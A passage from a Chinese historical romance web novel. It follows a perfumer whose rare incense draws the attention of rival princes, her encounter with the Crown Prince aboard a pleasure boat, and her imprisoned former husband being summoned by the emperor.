然而,不过几息之后,便听到对方朗声笑道:“苏娘子,不用你请求,本王也会经常来凝香坊的。至于这些金子,你务必要收下,以后本王还得请你继续做紫薇伴梦香,总不能让你倒贴银子,这些你若是嫌多,就当本王预付的定金吧。”
苏云瑶讶异地看了他一眼。
景王这样说,她倒不好再拒绝那些金元宝了。
当然,景王以后还需要她做香,如果她的香铺有事,他定然不会袖手旁观,这种事关利益的共同立场,比什么都牢固,没想到,不需要她费任何心思,这棵大树,她已经依靠上了。
“那民女就恭敬不如从命了。”苏云瑶眉眼弯起笑了笑,起身做了个请的手势,要送景王离开香铺。
负手起身时,萧祐突然饶有兴致地看向那窗台处的桃花,清了清嗓子道:“初春三月,日光和煦,颐园的桃花最好看,本王近日正想
去赏桃花,苏娘子可有兴致一同去?”
苏云瑶微微一愣,不由蹙起了秀眉,婉拒了他的邀请。
“殿下,抱歉,民女有事,不能相陪了。”
景王是为皇子,身畔不乏宫中旧人,为免人多眼杂,她不会与景王一起出现在大庭广众之下,以免她做紫薇伴梦香的事,被有心人告诉皇帝。
得到拒绝,萧祐垂下眼眸,鸦羽似的长睫在脸庞打下一片阴影,犹如此时覆了暗云的失落心情。
不过,很快,他眸底的失落便悄然掩去,温声笑道:“既然如此,那以后有机会再说吧。”
从雅室的另一侧下楼,不必经过凝香坊的铺子,便直通外面的街道。
这雅室是苏云瑶与景王所约定相见的地方,至于每次约见的时辰,也是应她要求,选在无人注意的傍晚之后。
目送景王乘上马车离开,香铺已到了打烊的时候是,苏云瑶也没有久呆,便让车夫赶了车回苏宅。
不过,回去的路上,青桔突然想吃八宝斋的红豆糕,马车绕了个弯去八宝斋时,经过了林家的珍宝坊。
青桔下车去八宝斋买糕点,吩咐马车停在珍宝坊对面等待期间,苏云瑶掀开车帘,若有所思地观察了那铺子很久。
大雍没有宵禁,除了酒楼食肆之类晚间还会营业的铺子,其他铺子已到打烊的时辰,珍宝坊却灯火通明,掌柜满面春风得与人说着话,里面还有选购东西的顾客,看上去生意依然很好。
苏云瑶不禁有些纳罕。
裴秉安因崔氏受林家巨额贿赂进了监房,为何林家似乎丝毫没有受到影响?
按律来说,且不提林家是否还有其他罪行,只行贿这一桩罪责,就不该安然无事,没有惩罚。
思忖许久,始终琢磨不透其中原因,不过,翌日陆凤灵约了她去戏楼喝茶看戏时,想起林家的事,苏云瑶道:“近日,你长姐可来娘家瞧瞧了?”
好不容易溜出来一趟,陆凤灵两眼盯着戏台上的俊俏小生,心情颇好地喝着果酒,道:“来了,苏姐姐问她做什么?”
她那个庶姐陆凤蕊与继母一样,一双眼睛长到头顶上,恨不得用鼻孔看人,见了她总是呼三喝四的,她早就烦透了她。
她已喝了两大盏果酒,担心她再喝下去会醉,苏云瑶拿走她的酒盏,倒了清茶放到她面前。
“你表哥因受贿入了狱,这事你总清楚吧?”
提起表哥,想到裴家被贬官削爵,陆凤灵皱起眉头,闷闷不乐地收回了看戏台的视线。
虽说是讨厌表哥以前因为那宋氏与表嫂和离,但他如今落难,她心里也不好受。
“我知道一些,苏姐姐问这个,难道跟我长姐有关系?”陆凤灵脑子转得快,眨巴着大眼睛看她。
苏云瑶轻轻摇了摇头,个中原因,她只是猜测而已。
“先不提这个,我也摸不准,你且说说,你长姐最近做了什么?气色可好?心情如何?”
路凤灵拧眉想了会儿,忽然自顾自点了点头。
“她好得很,前日回府,还是姐夫与她一道回来的,两人听戏班子唱完戏,又陪我爹娘说了许久的话,他们才走的。”
“那你爹娘呢,作何反应?”苏云瑶马上问道。
陆凤灵的爹娘视长女如掌上明珠,如果林家真出了事,她爹娘不会不忧心。
陆凤灵回想片刻,纤细的手指捏紧了茶盏,冷笑道:“先前是发愁过几天,还骂了我好几回撒气呢,不过这会儿早就没事了,见到我长姐,他们的脸笑得像朵花儿一样。”
苏云瑶默默思忖着点了点头。
按理来说,这些事与她无关,无需她留心。
但想到自从裴秉安失了势后,常天鸣身为东宫皇亲仗势欺人,而林家又是太子的外祖家
一个莫名的念头从脑海中突然闪过,她眉心一紧,自己被自己的想法吓了一跳。
思绪回笼,她忙喝了盏果酒定了定神。
也许是她想多了,她并未见过太子殿下,仅凭这些一鳞片爪的信息,便得出这样的结论,未免太过武断。
真相如何,还需以后再细细观察。
不过,与陆凤灵作别后,苏云瑶不由暗悔自己喝了酒。
她本就酒量奇差,从戏楼出来后,那一盏果酒的酒劲逐渐上涌,白皙如雪的两腮像染了层酡红,脚底也像踩着棉花似的,深一脚浅一脚,软绵绵的,总落不到实处。
青桔本来陪在她左右的,但席间她想吃糖葫芦,她便让她一个人出去买了。
暮色初降,戏楼里传出咿咿呀呀的唱腔,间或有大声的鼓掌叫好声。
觉得这里喧嚣吵闹,等不及青桔来接,她一个人脚步不稳地离开戏楼,慢慢走到了一处打烊的铺子门前。
铺子前空无一人,四处也静悄悄的,她睁着一双水雾朦胧的杏眼,瞪大眼睛左看右看,到底没认出这是哪家的铺子,便索性坐在铺前的石阶上,单手撑着下颌,晕晕乎乎地闭上了眼睛。
微风拂过,如瀑似的绵密乌发轻轻扬起,一身黑袍无声走近的人默然矗立在她身畔,发丝悄然擦过劲挺的手背,激起一点酥麻的痒意。
裴秉安拂袖蹲下,沉沉视线落在她的脸上。
她醉得厉害,此时已睡沉了,葳蕤长睫轻轻颤动着,远处昏黄的灯光似给她周身笼上了一层柔和的光晕,显得温柔而娴静。
记得,没和离之前,有一回她喝了半盏酒,之后便乖乖枕在他的臂弯里,脑袋抵在他的胸前,一觉睡到了天亮时分。
她醉酒时,几乎对周遭的一切一无所知,醒来后也不会记得什么。
初春的夜晚,清风还有凉意,她身子柔弱,还有眩晕之症,不能在这里久等青桔。
脱下宽大长袍披在她的肩头,把人从头到脚都严严实实盖了起来,裴秉安一只大手握紧她的腰,另一只大手护着她的脑袋,将人轻而易举地抗在了肩头。
青骓就在近旁,他带着人翻身上马,将肩头的人放在身前护好,之后便一甩缰绳,策马向苏宅的方向疾驰而去。
第73章 第73章邀您到船上一叙。
翌日醒来,天色已大亮。
苏云瑶伸了个懒腰拥被起身,昨晚的酒醉彻底消去,这一觉睡得特别得沉。
“小姐,你醒啦?”青桔笑眯眯道。
小姐比以往多睡了许久,担心她还有醉意,她还特意端了碗醒酒汤来。
苏云瑶轻轻点了点头,意味深长地瞥了她一眼。
昨晚她在戏楼外等了青桔许久,不知何时与她一同回来的,这丫头只有吃糖葫芦的心思,害得她在外面不知吹了多久的冷风。
“糖葫芦好吃吗?”
好吃到比她小姐的安危还重要?
青桔忙不迭点了点头,可随后,眉头却不高兴地拧了起来。
“好吃啊,我还给小姐买了一串呢,就是小姐怎么不等我?把我一个人扔外面,一个人家来了。”
苏云瑶愣了愣,“怎么可能,我记得我们一起回来的啊。”
青桔噘嘴哼了一声,“小姐不信我的话,可以问许妈妈。”
许妈妈是苏宅的厨娘,恰在此时,端着碗燕窝粥送了进来,听见这话便笑着道:“青桔说得不假,娘子一个人回来的,我听到敲门声去开门,看到娘子站在门外似睡非睡的,搀着娘子的胳膊进院子的。”
疑惑半晌,苏云瑶重重按了按额角,试图回忆昨晚发生的事。
只是想了半天,大脑几乎空白一片,隐约只记得耳旁有风呼呼吹过,而她晕晕乎乎依偎在青桔的身前,觉得温暖而安心。
罢了,想不起来,便索性不去想了,左右戏楼离校尉胡同并不远,兴许是她等得烦了,一个人先回了家。
~~~
御书房。
已近夜深时分,那蟠龙香炉上依然燃着熏香,元德帝伏案审阅着太子呈来的案情,眉头几乎紧锁成一团。
先前太子秘密处理军粮案,本打算将转运使林氏定了罪,他命太子再去深查,势必重惩,可谁想到那林氏认下罪行后,竟然畏罪咬舌自尽。
元德帝沉吟许久。
区区一个转运使,五品官员,竟敢贪腐军粮数年,合计白银几十万两,他怎么有这个胆子?
背后指使他的,一定另有其人。
他让太子奉命再查,一来为了磨砺太子的性子,二来,也是为了查清,此事事关林家,林相是否知情,甚至参与或是主谋。
可没想到,如今林氏担下所有罪行且死无对证,军粮案无法再查,只能暂且搁置,
待以后有了线索再审。
元德帝按了按眉心,只得思索起另一件要事。
大雍近几年屡遭旱涝天灾,体恤百姓疾苦,粮税一降再降,大雍国库不丰,调拨到边境的军粮又被转运使林端中饱私囊,眼下当务之急,是再调拨京都粮仓的粮食到边境去,以解燃眉之急。
太子萧昀一直静默矗立在龙案旁,只是视线偶尔在掠过四尊蟠龙香炉上袅袅升起的轻香,眸底闪过几抹暗色。
父皇有头疼的老毛病,太医也束手无策,近两年来,他的头疾越来越严重,没想到,燃了这味香后,他眼神炯炯,神采奕奕,竟然没再有头痛的症状。
那香炉里燃的,是紫薇伴梦香,他听母后说过,世上会这味香的人早已死了,可景王竟然又寻了回来。
这味香,到底是他着何人做的,他已经派人去打探,很快就会知晓了。
“父皇龙体要紧,夜色已深,早些歇息吧。”
暗暗收回视线,萧昀温声说完,便打算上前亲去扶着元德帝起身。
太子一向孝顺,元德帝欣慰地笑了笑,扶着他的手站起来,沉声叮嘱道:“军粮案不可就这么算了,还要再去寻找蛛丝马迹,既不要冤枉了兢兢业业为朝廷做事的命官,也不能放任贪腐横行。军粮事关边境安稳,也事关百姓安危,若是背后真有个大蛀虫,那定然是个罔顾百姓的贪赃之徒,要把他揪出来,千里之堤溃于蚁穴,大雍江山不能毁在这些人手里”
元德帝的谆谆教诲,太子无不虚心谦恭地应下,直将他送到后殿寝宫,他才返回东宫。
金玉铺地的奢华寝殿中,身着黑衣的暗卫双手奉上近日景王所有出行的记录。
姿态懒散地靠坐在金丝楠木龙椅上,萧昀阴冷的视线扫过册子,视线停驻在凝香坊三个字上。
“一家香铺?看来应该不是巧合,派人暗中盯着些。”他漫不经心地转了转掌中的冷玉扳指,眸底闪过冷嘲的笑意。
~~~
近些日子,除了上次为景王殿下做了几盒紫薇伴梦香,得了他一匣子金元宝的厚赏外,一连数日,景王没有贸然踏足凝香坊,苏云瑶有些不安的心绪,也逐渐平和下来。
景王是个严守承诺的人,那香没有引出意外,她平静而富足的生活没有被打乱,她便放心了。
只是武举考试的日子愈来愈近,千山手上的伤势却还没好,这日清晨起来,苏云瑶正要去跨院看一看他时,裴淑娴带着丫鬟春燕又来了苏宅。
她本也是来探望苏千山的伤势的,不过这次她却没有久呆,只是让春燕把几卷她亲手抄的兵书放下,与苏云瑶说了几句话,便打算要走。
“苏姐姐,这些兵书是给千山哥哥的,你记得给他。”裴淑娴捏着团扇欲言又止,一双水润的眸子隐约泛着红,“我我先回去了。”
觉得她的情绪不太对劲,苏云瑶拉着她的手,关心地道:“怎么了?可是遇到了什么难事?”
裴淑娴抿唇捏紧团扇,眸底一片黯然,过了会儿,忍了几忍,心底的酸涩再也压不下去,趴在她的肩头呜呜哭了起来。
她似受了无限委屈,一个劲地哭了半天,苏云瑶没有说话,轻轻拍着她单薄的脊背安抚着,等她哭得差不多了,拿绣帕帮她擦了擦脸上的泪痕,拧眉道:“到底怎么回事?快跟我说说,别一个人憋在心里。”
裴淑娴抽噎了一阵儿,情绪慢慢平复下来,擦了擦眼泪冷笑道:“贺清瑜来向我提亲了。”
苏云瑶吃惊地愣住。
贺清瑜,就是先前她心心念念的竹马贺探花,当初因他另娶别人,淑娴天天长吁短叹,闷闷不乐了好长时间,后来才慢慢好转一些。
可贺探花不是早已成亲了吗?怎地又来裴府提亲了?
裴淑娴咬紧了唇,忿忿道:“他的娘子得了重病,快要不行了,他便到裴府来提亲了”
闻言,苏云瑶震惊不已,几乎说不出话来。
这男人先是负了淑娴,现在自己娘子还没病死呢,就转头来裴府提亲,这种薄情寡义的品性,怎堪为良配?
自然,现在裴府大不如以前,他才敢这样,若是裴秉安没有被贬官,只怕他还没踏进府门,便会被拎着衣领丢到外面去了。
如此品行的男子,身为大哥,他是绝不会让妹妹嫁的。
苏云瑶心中思绪起伏万千,轻轻握着淑娴的手,道:“你是怎么想的?”
裴淑娴吸了吸鼻子,盯着团扇上自己写的诗,只觉得十分刺眼。
现在她总算看清了,这个男人有多不要脸,想到当初她还心心念念着他,她顿时觉得自己一片痴心喂了狗。
只是大哥现在还在监房中,裴家落魄了,那贺家也是官宦世家,高门大户,他又是名满京都的探花郎,娘不舍得拒了这门亲事,力劝她答应了。
“我娘想让我嫁,我才不会嫁他。”
裴淑娴擦干净脸上的泪,转头看见一把剪子,拿过来三两下把自己的团扇剪得稀巴烂,眸底的黯然悄然散去,心里的郁气彻底没了。
“什么高门,什么探花郎,我不稀罕,就算以后嫁个种地的庄稼汉,只要踏实本分,有情有义,也比他强!”
裴淑娴灿然一笑,眼角还噙着点晶莹的泪花儿,她转头看着苏云瑶,觉得大嫂自从与大哥和离后,容貌比以前更加光彩照人,神态也更加从容无虑,站在人群之中,就像最耀眼的那一颗明珠,由不得人不多看一眼。
“再说了,谁说女子只有嫁人这一条路,苏姐姐,自从你与我大哥和离了,日子越来越好,我也想学你,不拘在后宅之中,做自己喜欢的事,最好再做出一番名堂来,那才叫人家刮目相看呢!”
她能这样想,苏云瑶欣慰地弯起唇角,温柔地捏了捏她的脸颊。
“你呀,想开就好。不过,想做喜欢的事与嫁人并不冲突,遇到情投意合的人共伴一生,白头偕老,也是一桩幸事。”
裴淑娴若有所思地眨巴了几下眼睛。
她想问一问大嫂的心中,是否还有大哥的位置,可转念一想,大哥被二哥二嫂所累进了监房,不知何时才能出来,就算知道大哥心中仅有大嫂一人,她也不好意思贸然提这个话头。
苏千山从跨院过来时,正看到堂姐与裴家姑娘说着话,只是那姑娘眼角红彤彤的,像是哭过了一场。
之前听说过关于她与那贺探花的只言片语,方才无声伫立在门外,隐约听到她说宁愿嫁个庄稼汉,苏千山不自在地收回视线,粗声说:“姐,开春暖和了,外面的花都开了,咱们去郊游吧。”
他的提议,青桔踊跃同意,兴高采烈地说:“要去,要去,小姐,我们去看花,去放风筝,去划船!”
城郊颐园,是京都百姓春季踏青游玩的地方,正是休沐日,游人如织,熙熙攘攘,横跨园中颐湖的长桥上,撑伞远眺湖面的年轻男女并肩漫步,似一道独特的风景。
定睛往长桥上看了几眼,有个女子的身影有几分熟悉,只是她身畔的男子身形高大阻挡了视线,一时让人瞧不真切。
“小姐,我们去划船吧!”
听到青桔的话,苏云瑶很快回过神来,叫苏千山去赁船来。
不一会儿,苏千山去而复返,道:“姐,船都赁光了。”
再等赁船,需得好大一会儿,远处有卖竹伞的摊位,晌午日头有些晒,裴淑娴要带着丫鬟去买伞,担心游人太多冲撞了她们主仆,苏千山也随她而去,一时岸畔只剩
苏云瑶与青桔两人。
青桔眼巴巴地盯着湖面上的游船,只想快点赁船到湖中央去捞鱼。
颐湖大得出奇,一眼几乎望不到尽头,湖面上也漂着样式不一而足的船只,既有常见的轻便小舟,也有雕着如意云纹,长约数丈的游舫。
苏云瑶下意识看了看其中一只靠岸的游舫。
游舫并不扎眼,通身是低调的暗色,不过,船头高高翘起,四角悬挂着琉璃灯,栏杆处饰着暗金龙纹,舱室中燃着香,清淡绵长的甜香飘到岸畔便几乎淡极,但她嗅觉灵敏,还是清晰地辨出那是名贵的龙脑香。
这游舫显然是私人所有,并不会对外租赁,不过,它的主人应是个懂香的人,正在她暗自忖度对方大约是什么身份时,忽然,一个身着蓝色褙子的年轻女子从船上下来,径直向她们走了过来。
“姑娘,我们主子邀您到船上一叙。”
她双手拘谨而端正地交叉于身前,微微俯身,行了个福礼。
苏云瑶突然额角一跳,秀眉拧了起来。
看对方的言行姿态,像是宫里的婢女。
不过,她见都没见过她,更不知她的主子是谁,对方为何要请她去船上说话?
第74章 第74章暗骂了一句。
苏云瑶迟疑了一会儿。
“听闻娘子擅长制香,我们主子诚意相请,还请娘子上船吧。”婢女伸手做了个请的手势,催促道。
苏云瑶乌黑的杏眸盯着那婢女,秀眉微微蹙起,“你们主子是什么身份?京中擅长制香的人不少,为何独独邀请我?”
对方与她素不相识,贸然请她去船上叙话,显然不是一时兴起,而是有备而来。
这还不是最让她惊讶的,最惊讶得是,如果对方知晓她今日来游玩,特意提前在这里等待,莫非她的一举一动,都被人盯着?
想到这里,苏云瑶不由暗暗捏紧了手里的绣帕,脑中飞快思索了一番。
近日她的香铺一切如常,进出校尉胡同,也没有发现什么暗中跟踪她的人,除了先前制过紫薇伴梦香,她一时想不出哪里会生出事来。
或者说,是她想多了,对方只是恰巧遇见她,想邀她上船辨香而已?
苏云瑶轻抿紧唇,暗暗定了定神。
颐湖之畔,游人熙熙攘攘,光天化日之下,游舫的主人总不会是什么行凶歹徒,她暗自猜测难以知道真相,还不如去见一见对方,也好打去心头疑虑。
这样想着,她便由婢女在前头引路,与青桔一道登上了岸畔的游船。
船高三层,拾级而上,登上顶层后,苏云瑶打量了一眼四周,眸底的惊叹难以掩去。
饶是她身为富商之女,身边从不缺金少银,又自小见多识广,但见到这座看上去平实低调画舫的装饰,还是忍不住倒吸了一口凉气。
旁人兴许难以发现,但她擅长作画,一眼便看出船壁挂着历朝名画,随便一幅都是千金难求的真迹。
视线在前朝大家朱子所作的《山居秋月图》上凝了几瞬,悄然移到窗畔,只见船舱四面菱窗紧闭,室内却十分明亮,只因四周悬着的珠帘以璀璨夺目的珍珠玉石串成,而地板是比黄金还贵重的金丝楠木所铺就,光洁耀目,微风拂过,珠帘叮咚作响熠熠生辉,置身在这画舫中,不似辉煌耀目的宫殿,胜似宫殿。
婢女将两人带到这儿,便悄无声息地退了出去,青桔寸步不离开小姐的身旁,只是看到那色彩斑斓的帘子,不自觉“哇,哇”惊叹着,好奇地去拨弄帘子上晶亮的玉石。
苏云瑶定了定神,很快收回视线,抬眸向室内的紫檀云龙纹嵌八宝屏风看去。
屏风后影影绰绰的,似有人静立在案旁挥毫泼墨。
“苏娘子,过来吧。”一道温润的嗓音响起,声音平和,却带着不怒自威的压迫感。
苏云瑶思忖几瞬,缓步朝屏风处走去。
屏风后,一张黄梨木案几横摆,案后的男子身着玉白长袍,苍白瘦削的长指捏着朱笔作画,听到她轻盈的脚步声,连头都没抬一下。
“坐。”他吩咐道。
他的右手拇指戴着枚绿色冷玉扳指,苏云瑶暗暗打量了一眼,长睫微不可察地颤了颤。
默然片刻,她依言在对面靠窗的椅子上落座。
男子饶有兴致地画着画,他没有开口,苏云瑶屏气凝神,静默以对。
落下最后一笔,男子所画的江山明月图中,一轮高悬于夜幕中的明月遍洒清辉,只是少了点睛的一笔,失了蓄势待发的力道,便略显平平无奇。
男子搁下毛笔,退后几步打量了几眼自己的画作,眉头悄然拧起,之后,才似乎突然想起对面还有他邀来的人,便漫不经心地展眸看了过去。
只看了一眼,男子的视线便似凝住般,眸底的惊艳一闪而过。
他不动声色地点了点头,温声道:“你就是凝香坊的东家苏娘子?”
对方没打算挑明自己的身份,苏云瑶也装作不知,她低头盯着地上的楠木地板纹路,轻声道:“是。”
“你可会作画?”男子顿了顿,突然道。
苏云瑶一时不知该怎么回答,也许方才她无意间多看了几眼案几上的画,便引起了对方的注意。
“略懂一点儿。”低头回话时,她选了个中规中矩,轻易不会出错的回答。
“是吗?”男子饶有兴致地看着她,勾唇意味深长地笑了笑,“苏娘子,你是裴将军的前妻,即便没亲眼见过本宫,也应该能猜出本宫的身份吧?”
对方话音落下的瞬间,苏云瑶默然深吸了一口气。
太子来者不善,看来早已将她的一切都调查得清清楚楚。
她起身行了个福礼,道:“民女见过太子殿下。”
萧昀虚虚抬手,做了个免礼的手势,“不必拘礼。本宫看你是懂画的,本宫刚画的这幅画有何不足之处,你直言无妨。”
苏云瑶垂眸暗暗思忖了几番。
太子突然邀她见面,用意为何,她现在还琢磨不透,至于他案上的那幅画,略想了会儿,她决定直言相告,试探下他的目的。
“殿下画工了得。只是这轮明月悬于空中,不见暗云阻碍,便少了破云而出照亮江河的雄浑壮阔。若用流水作比的话,便是一泓清泉順流直下,不见嶙峋山石所阻,虽能四平八稳流向远方,却少了一抹荡气回肠的气韵。”
闻言,萧昀提笔在明月下方勾勒薄薄一层暗云,落笔完成的瞬间,方才风平浪静的江山明月图,似乎像活过来一般,明月奋力跃出暗云的瞬间,江水滔滔,松涛阵阵,遍地一片清明,意境深远悠长,令人望之震撼不已。
盯着眼前的画,萧昀眸中情绪难辨,只是再开口说话时,嗓音越发温和,听起来异常亲切:“苏娘子谦虚了,当真令本宫刮目相看。”
苏云瑶礼貌地笑了笑:“殿下过奖了。不知殿下召民女前来,所为何事?”
萧昀若有所思地瞥了眼角落处的香炉,意味深长地道:“苏娘子,听说你制香手艺了得,本宫最近犯了头疾,恰在父皇的书房里发现了一味香,可以缓解本宫的头痛之症,细细打听过,才知是你做的,只是那香少有,旁人没有会做的,本王特意来问你一句,不知你可否也为本宫做些?”
苏云瑶面上不显什么,心中却顿时警铃大作。
景王答应她保守秘密,为何太子会知道了实情?是景王言而无信,还是太子暗中差人打听清楚了?
不管怎样,眼下的局面都于她极为不利,三个人都知道的秘密,那便不是秘密了,也许不久,皇帝就会召见她,届时她想躲都来不及了。
苏云瑶一边暗悔自己掉以轻心,不该为了自保便答应帮景王的忙,一边在脑中飞快地思索着对策
然而还没等她想好怎么回答,便听到萧昀温声笑了笑,道:“苏娘子,你若是为难便算了,本宫再寻其他的办法就是。”
苏云瑶忙道:“殿下多虑了,并非民女为难,只是紫薇伴梦香所需的原料难找,之前为景王殿下所制的香便
耗尽了民女铺子里的天山雪莲与东海青梨,再做的话,少说也得一个月之后。”
她既没有应下,也没有说不做,为了不得罪眼前的人,便想了这样的托词。
闻言,萧昀唇角微微勾起,视线在她柔软嫣红的唇瓣上凝了片刻,没再说什么,而是道:“那就以后再说吧。听说,前些日子,本宫的妃弟冒犯了你,他是个狂妄不羁的性子,本宫都烦他,明日便把他打发到青州去,不会再为苏娘子添乱了。”
苏云瑶下意识皱了皱眉。
如果太子想罚常天鸣,应该早就罚了,不知为何此时见了她,却忽然会想到将常天鸣赶走。
虽然想不明白,但她知趣地谢恩,“殿下为民女着想,民女感激不尽。”
萧昀挥了挥手,便有婢女毕恭毕敬地走了进来,画舫里随处可见他收藏的古画,他让婢女收了最名贵的几幅,让苏云瑶带走。
“这画虽是千金难求,但本宫的妃嫔都是些榆木脑袋,放在本宫这里,无人欣赏,倒是暴殄天物。苏娘子于作画之道造诣颇深,知音难求,本宫与苏娘子惺惺相惜,苏娘子将这些画带回去欣赏吧,算是本宫的一点儿心意。”
无功不受禄,苏云瑶婉言相拒:“民女愚钝,已许久不画画了,在殿下面前班门弄斧,实在汗颜,殿下不怪罪民女,民女已觉庆幸,这些画,民女万万不能收的。”
她不肯要画,萧昀也没有勉强,只是离开画舫后,想到太子方才的举止,始终摸不透他的目的,苏云瑶眉头紧锁,疑虑重重。
到了岸边,千山与淑娴还没有回来,站在原处等待他们期间,一对年轻男女撑伞从她身旁经过的时候,那女子突然顿住了脚步。
苏云瑶也下意识抬眸向她看去。
四周游人漫步而过,无人注意这边,但四目相对的瞬间,宋婉柔像是一下子慌了神,猛地攥紧了身边男子的手,脸色也变白了几分。
苏云瑶看了她身边的男人一眼,神色如常得同她打了个招呼:“宋娘子,好久不见。”
怪不得方才她远眺长桥的时候,便觉得有个女子的背影眼熟,原来是宋婉柔。
宋婉柔抿了抿唇,仰首对身边的男子小声说了几句话,那男子先是面露疑惑了一会儿,之后便在她的催促中,去了远处取什么东西。
苏云瑶心事重重,只是见到熟人,礼貌地招呼一声而已,但落在宋婉柔的眼里,却全然不是这样,因为此时她双手抱臂靠在岸边,秀眉蹙起,眼神冷淡,像是一副要与她秋后算账的冷漠模样。
男子离开,宋婉柔悄然握紧了手里的帕子,走近了几步,用几乎哀求的语气小声道:“云瑶妹妹,先前是我不对,不该处心积虑挑拨你与裴大哥的关系,也不该一直心存妄想,但是过去的都过去了,你如今过得也不错,过去的事就不要与我计较了。”
苏云瑶拧眉看着她,眼神中流露出一点茫然。
她只不过在想事而已,什么时候要与她计较了?况且,她们早已井水不犯河水,她犯得着报复她吗?
见她一时没有开口,宋婉柔脸色一片灰白,丧气地咬着唇说:“这是我夫婿,我们夫妻恩爱,当初去裴家做妾的事我瞒着他,我不想让他看轻了我还请你不要说出去。”
苏云瑶恍然大悟地看着她。
她根本没有恨她,更不会多嘴去说她的过往,至于那些刻意隐瞒的事会不会被她的丈夫知晓,以及会对她的生活产生什么影响,更是与她无关。
“你多想了,我不会的。”
听到她的话,宋婉柔本来黯淡的眼神猛然一亮,道:“谢谢。”
苏云瑶微微点了点头,便将视线移向了旁边,不打算再与她多说什么。
谁知,宋婉柔在旁边踟蹰了许久,忽然道:“有一件事,我要告诉你。”
苏云瑶回过头来,奇怪地看着她:“什么事?”
宋婉柔道:“其实,我与裴大哥之间,什么都没有发生过,那时他在我的院里呆着,是因为我装病,他怕我犯病要请大夫,便一直守在屋外。他只是看在我生病的份上帮我而已,千错万错,都是当时脑子犯浑出的错,他是个好人,你不要怪他。”
话音落下,她神色忐忑地看了看苏云瑶,想等到她的唾骂或指责,但她只是静静地远眺着湖面,神色没有任何变化。
宋婉柔讪讪抿了抿唇。
同为女子,她再清楚不过,只要妻子对丈夫有几分情爱,就算再宽容大度,也不会愿意丈夫与别的女人有染。
只要丈夫犯了一回这样的错,便是扎在妻子心里的一根刺,随着时间的流逝,那刺不仅不会消失,反而会越扎越深,永远拔除不了。
如果没有她的出现,也许苏氏与裴大哥还走不到和离那一步。
她的夫婿快步朝这边走了过来,她便没再说什么,低声说了句抱歉后,便走过去牵住了她夫婿的手,没多久,两人的身影便消失在如织的人流中。
静默了许久,苏云瑶再回眸时,清澈分明的杏眸莫名有些湿润。
她轻轻吸了吸鼻子,朝着遥远的狱所方向,无声暗骂了一句。
第75章 第75章裴秉安身形一僵,脚步定……
监房中,裴秉安忽然拧紧剑眉,偏过头去打了个喷嚏。
再转过头时,他一双大掌握拳置于膝上,视线从案上厚厚几本军粮记册上扫过,转而投向狱所之外的方向,黑沉星眸中有几分疑惑不解。
这里虽阴暗潮冷,但他一向体魄强健,即便受了杖刑,身体也很快恢复如常,至于感染风寒之类的小毛病,于他来说,几乎未曾有过。
此时平白无故地打了个喷嚏,莫非是有人在骂他?
默然片刻,他拧眉收回视线,觉得此种想法不过是无稽之谈。
古人虽曰心有灵犀一点通,却没人说过千里遥闻暗骂声,心有所感嚏随生。
监房外忽然响起渐近的脚步声。
声音愈来愈近,裴秉安掸了掸衣襟,负手起身。
“大人,皇上召见您。”
来人是元德帝身边的秉笔太监刘公公,脚步迈进监房的那一霎那,他便俯身弯腰拱了拱手,态度并没有因裴秉安贬官削爵而有失半分恭敬。
毕竟,他在元德帝身边忠心耿耿侍奉多年,知晓皇上最是爱重将才,裴将军如今按律受罚失了势是不假,但皇上定然还会对他委以重任,以后东山再起不过是迟早的事儿。
像是早已料到刘公公会来,裴秉安神色不见丝毫意外,离开之前,他将这些日子一直挂在腰畔的紫薇花香囊仔细揣进怀里,便大步流星地向外走去。
“有劳公公,皇上可是在养心殿召见我?”
两人一路走过狱所阴暗逼仄的通道,刘公公年纪大了,只觉这里闷得慌,连气儿都喘不匀了,小跑了两步才撵上了他的步伐。
见状,裴秉安放缓了脚步,便听刘公公气喘吁吁地道:“裴大人,皇上在御书房等您哪。最近政务繁忙,御书房的折子堆成了山,皇上一连数日都宿在御书房,连后宫都没回。”
闻言,裴秉安沉冷神色丝毫未变,却微不可察地拧起了眉头。
皇上一向勤勉,但几年之前,便因难以忍受日渐加重的头疾,不得不每日酉时便回宫歇息,至次日五更时,再起身召近臣商议要事。
难道最近皇上头疾逐渐减轻,身体越发硬朗?
若是如此,自然是再好不过的事,身为臣子,得遇明君,他希望皇上龙体康健,长命百岁。
到了御书房,已过天命之年的元德帝眼眸半垂,因常年难以安眠而生出的青灰眼圈已消失不见,一双含威龙目神采炯炯,精神矍铄。
裴秉安不动声色地在那细雾袅袅的香炉上扫了一眼,心中已有了答案。
皇上身体慢慢变好,皆是因为云瑶所制的香饼。
这几年,为了治疗皇上的头疾,太医们先后研制过不少药方,没想到,竟都不如她制的熏香。
默默深感欣慰得同时,他实在有些不解。
云瑶是拥有绝顶的制香禀赋,可说到底,她不是医者,她不曾见过皇上,更没有像太医那样为皇上看诊把脉过,怎能为素未谋面的皇上做了一味香,便能治疗他多年的痼疾呢?
“慎之,”元德帝沉声开口,指了指靠近龙案的圆凳,命他坐下,“从今日起,你不必在监房呆着了。”
军粮案由太子经手查办,转运使林氏畏罪自尽,案情遇到了棘手之处,只能等有了详细线索再推进,至于还关在监房的裴秉安,元德帝已另有安排。
“臣遵命。”裴秉安拱手领命。
沉沉看了眼面前身姿笔挺的年轻臣子,元德帝沉吟许久。
因裴府受贿,裴秉安按律当贬,他已决定将此子被贬成从五品振威将军,这听上去是个平平无奇没有权势的武官官职,实则他另有打算。
振威将军负责游击作战,应赴边境骁骑营领职,自从裴秉安未及弱冠便一战平定西金之后,大雍朝十分安定,既无匪乱也无反叛,实
在难以有所建树。
如今西金早已对大雍俯首称臣,但还有些与大雍接壤的蒙人部落偶尔骚扰边境百姓,他将此子放到那里去,给他个再立战功的机会,也好以后升官赐爵,再担重任。
元德帝放下手中奏折,沉声道:“即日起,你领振威将军的武职,回府收拾好东西,明日便去骁骑营赴任吧。”
皇上爱重臣子,此举用意不言自明,换作旁人,只怕早已喜不自胜,立即应下。
但裴秉安沉默了片刻,道:“臣不能去骁骑营。”
元德帝意外地抬起眼皮,锐沉的视线在他脸上打量了几番,只是裴秉安一向面无表情,倒让人瞧不出这位臣子心里到底有什么想法。
“为何?你以后不想再担要职了?”
元德帝耐心地靠在椅背上,等着他说出拒绝的理由来——毕竟他任金吾卫上将军兼枢密使数年,熟悉军中繁杂军务,也许安排他去边境的想法尚有思虑不周之处。
裴秉安垂眸不语,劲挺长指虚虚摸了摸揣在怀里的香囊。
苏氏呆在京都一日,他便一日不能离开此地,至于是否需要尽快官复原职,他并不在意。
